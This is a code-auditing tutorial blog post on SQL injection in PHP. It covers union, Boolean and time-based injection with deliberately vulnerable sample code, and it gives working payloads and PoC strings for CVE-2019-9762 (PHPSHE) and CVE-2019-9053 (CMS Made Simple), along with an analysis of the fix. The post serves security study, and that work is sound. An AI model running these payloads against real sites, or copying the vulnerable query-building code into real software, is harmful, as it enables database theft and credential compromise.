I. Preface
A year of graduate-exam preparation is finally over. Although it did not follow my original plan, I made it through. With time available, I am writing the code-auditing principles and practice series I had long planned. It explains web-vulnerability principles through CVE cases, including SQL injection, XSS, upload, and code-execution issues. Because it is long, it will be split into a series. These are personal study notes; corrections and discussion are welcome.
II. Learning Environment
PHP (primarily, with some Java) + MySQL + macOS
III. SQL Injection Categories
SQL injection has many types under different classification schemes.
Classified by injection-point type, injection includes numeric, string, and search injection.
Classified by submission method, injection includes GET, POST, cookie, and HTTP-header injection.
Classified by effect, injection includes union-based, Boolean-based, time-based, error-based, wide-byte, second-order, and entity injection.
There are too many injection types to demonstrate all of them, and their principles overlap. I will focus on several classic categories.
IV. Union-Based Injection
1. Principle
Union injection uses UNION queries to retrieve database information. A vulnerable PHP page obtains a GET or POST parameter and concatenates it into SQL; without defenses, UNION can query other data. A simple vulnerable example follows:
<?php
include 'conn.php';
$id = $_GET['id'];
$sql = "select * from books where `id` = ".$id;
$re = mysqli_query($con,$sql);
$row = mysqli_fetch_arry($re);
echo $row['book_name'].":".$row['book_introduce'];
?>
Normal request parameter
id = 1
The SQL statement is now:
Select * from books where `id` = 1
The database normally returns every column of the row with id=1. Now replace it with a malicious value:
id = 1 union select 1,username,3 from admin#
The SQL statement becomes:
Select * from books where `id` = 1 union select 1,username,3 from admin#
For example, my WordPress installation: Two separate SQL injection statements:
Sql_1 = select * from wp_users;
Sql_2 = select * from wp_terms;
The response is:
Using a union query:
Sql = select * from wp_terms where term_id = 1 union select 1,user_login,3,4 from wp_users;
The response is:
This is basic MySQL behavior, so I will proceed to the case study.
2. Example: CVE-2019-9762 This is a union-injection vulnerability in PHPSHE at include/plugin/payment/alipay/pay.php. The relevant code is:
<?php
……
$order_id = pe_dbhold($_g_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));
……
?>
pe_dbhold function:
//数据库安全
function pe_dbhold($str, $exc=array())
{
if (is_array($str)) {
foreach($str as $k => $v) {
$str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
}
}
else {
//$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
$str = $exc == 'all' ? addslashes($str) : addslashes(htmlspecialchars($str));
}
return $str;
}
This function applies addslashes, which does not completely prevent SQL injection. Continue into order_table.
function order_table($id) {
if (stripos($id, '_') !== false) {
$id_arr = explode('_', $id);
return "order_{$id_arr[0]}";
}
else {
return "order";
}
}
The id parameter is checked; if it contains an underscore, the string is split into an array from that point. pe_select then executes the SQL:
public function pe_select($table, $where = '', $field = '*')
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
}
executes without filtering, making order_id controllable and producing SQL injection. The concatenated statement shows this is union-based injection. The response is visible only in a captured request because pay.php automatically redirects to Alipay. PoC:
/phpshe/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,database(),user(),5,6,7,8,9,10,11,12%23_
V. Boolean-Based Injection
1. Principle
Boolean injection concatenates a GET or POST parameter into SQL but exposes only two observable outcomes. More precisely, the attacker sees either a normal page or a missing/error page, often without record contents. Those simple differences can be used to enumerate database information. A basic vulnerable example follows:
<?php
include 'conn.php'
$id = $_GET['id'];
if(waf($id))
exit("ERROR ");
$sql = "select * from users where `id` = '".$id."'";
$result = mysqli_querry($sql);
$row = mysqli_fetch_array($result);
if(!$row)
exit("ERROR");
?>
The flow is simple: retrieve id through GET, validate it with waf, and concatenate it into SQL if accepted. Supplying 1 produces:
Sql = select * from users where id = 1
If id=1 exists, row is 1 and the page appears normally; otherwise row is 0 and an error page is returned. Supplying 1' or 1=1# changes the SQL to:
Sql = select * from users where id = 1 or 1 = 1 #
This SQL result does not depend on whether id=1 exists, because any condition OR 1=1 is always true. Similarly, supplying 1' AND 1=2 makes the result always false. With this behavior understood, AND conditions can test the information we seek. For example:
Sql = select * from users where id = 1 and (length(database()))>10#
By changing statements and the value after the greater-than sign, we can infer database length, name, and administrator credentials.
2. Example
Because this closely resembles time-based injection, both are demonstrated together. See the time-based injection example.
VI. Time-Based Injection
1. Principle
Time-based injection resembles Boolean injection: a GET or POST parameter is concatenated into SQL. Unlike Boolean injection, however, every input produces the same apparent result, so page feedback cannot enumerate data. A time function such as sleep() supplies a side channel: response delay reveals whether the injected condition is true. The vulnerable sample is similar to the Boolean example and is not repeated.
2. Example: CVE-2019-9053
This is a time-based SQL injection in CMCMS at /modules/News/action.default.php. The relevant code is:
<?php
……
$entryarray = array();
$query1 = "
SELECT SQL_CALC_FOUND_ROWS
mn.*,
mnc.news_category_name,
mnc.long_name,
u.username,
u.first_name,
u.last_name
FROM " .CMS_DB_PREFIX . "module_news mn
LEFT OUTER JOIN " . CMS_DB_PREFIX . "module_news_categories mnc
ON mnc.news_category_id = mn.news_category_id
LEFT OUTER JOIN " . CMS_DB_PREFIX . "users u
ON u.user_id = mn.author_id
WHERE
status = 'published'
AND
";
if( isset($params['idlist']) ) {
$idlist = $params['idlist'];
if( is_string($idlist) ) {
$tmp = explode(',',$idlist);
for( $i = 0; $i < count($tmp); $i++ ) {
$tmp[$i] = (int)$tmp[$i];
if( $tmp[$i] < 1 ) unset($tmp[$i]);
}
$idlist = array_unique($tmp);
$query1 .= ' (mn.news_id IN ('.implode(',',$idlist).')) AND ';
}
}
……
if( isset($params['showall']) ) {
// show everything irrespective of end date.
$query1 .= 'IF(start_time IS NULL,news_date <= NOW(),start_time <= NOW())';
}
else {
// we're concerned about start time, end time, and news_date
if( isset($params['showarchive']) ) {
// show only expired entries.
$query1 .= 'IF(end_time IS NULL,0,end_time < NOw())';
}
else {
$query1 .= 'IF(start_time IS NULL AND end_time IS NULL,news_date <= NOW(),NOw() BETWEEN start_time AND end_time)';
}
}
……
$dbresult = $db->SelectLimit( $query1,$pagelimit,$startelement );
……
?>
The rewritten params variable represents GET and POST. idlist is obtained through GET, checked by character type, split into an array, stripped of irrelevant data, deduplicated, and concatenated directly into query1 before SelectLimit executes it. SelectLimit is:
public function &SelectLimit( $sql, $nrows = -1, $offset = -1, $inputarr = null )
{
$limit = null;
$nrows = (int) $nrows;
$offset = (int) $offset;
if( $nrows >= 0 || $offset >= 0 ) {
$offset = ($offset >= 0) ? $offset . "," : '';
$nrows = ($nrows >= 0) ? $nrows : '18446744073709551615';
$limit = ' LIMIT ' . $offset . ' ' . $nrows;
}
if ($inputarr && is_array($inputarr)) {
$sqlarr = explode('?',$sql);
if( !is_array(reset($inputarr)) ) $inputarr = array($inputarr);
foreach( $inputarr as $arr ) {
$sql = ''; $i = 0;
foreach( $arr as $v ) {
$sql .= $sqlarr[$i];
switch(gettype($v)){
case 'string':
$sql .= $this->qstr($v);
break;
case 'double':
$sql .= str_replace(',', '.', $v);
break;
case 'boolean':
$sql .= $v ? 1 : 0;
break;
default:
if ($v === null) $sql .= 'NULL';
else $sql .= $v;
}
$i += 1;
}
$sql .= $sqlarr[$i];
if ($i+1 != sizeof($sqlarr)) {
$false = null;
return $false;
}
}
}
$sql .= $limit;
$rs = $this->do_sql( $sql );
return $rs;
}
The function splits the incoming SQL into an array, handles elements according to character type, joins them again, and executes the result. This defeats ordinary injection: some union-query characters are discarded during splitting, while a Boolean condition here is only a fragment and does not control the truth of the complete SQL statement. The complete query is shown below:
A working PoC is available at:
https://packetstormsecurity.com/files/152356/CMS-Made-Simple-SQL-Injection.html
The official site had fixed the vulnerability by the time I wrote this. How? Compare the old and new files:
The most important line in the new file is
$val = (int)$tmp[$i];
Force the incoming value to an int, for example:
$number = "hello!";
$number1 = "11hello";
$number2 = "23432";
$number3 = 33;
echo (int)$number;
echo (int)$number1;
echo (int)$number2;
echo (int)$number3;
The output is:
0
11
23432
33
Pure character values become 0, mixed numeric-and-character values retain only the digits, and purely numeric values remain unchanged. Earlier injection strings therefore collapse to numbers, preventing time-based injection. Test code:
<?php
function olds( $idlist ){
if( is_string($idlist) ) {
$tmp = explode(',',$idlist);
for( $i = 0; $i < count($tmp); $i++ ) {
$tmp[$i] = (int)$tmp[$i];
if( $tmp[$i] < 1 ) unset($tmp[$i]);
}
$idlist = array_unique($tmp);
$query1 = ' (mn.news_id IN ('.implode(',',$idlist).')) AND ';
}
echo 'Final statement: '.$query1;
}
function news ( $idlist ){
if( is_string($idlist) ) {
$tmp = explode(',',$idlist);
$idlist = [];
for( $i = 0; $i < count($tmp); $i++ ) {
echo "Character to process after the fix ".$i."：";
echo $tmp[$i];
echo "<br>";
$val = (int)$tmp[$i];
if( $val > 0 && !in_array($val,$idlist) ) {
$idlist[] = $val;
echo "<br>";
}
}
}
if( !empty($idlist) )
$query1 = ' (mn.news_id IN ('.implode(',',$idlist).')) AND ';
echo 'Final statement: '.$query1;
}
$idlist = "News,m1_,default,0&m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users+where+username+like+0x61646225+and+user_id+like+0x31)+--+";
news($idlist);
echo "<br>";
olds($idlist);
echo "<br>";
?>
The effect is shown below:
Summary
Code auditing is a long road; we keep searching high and low.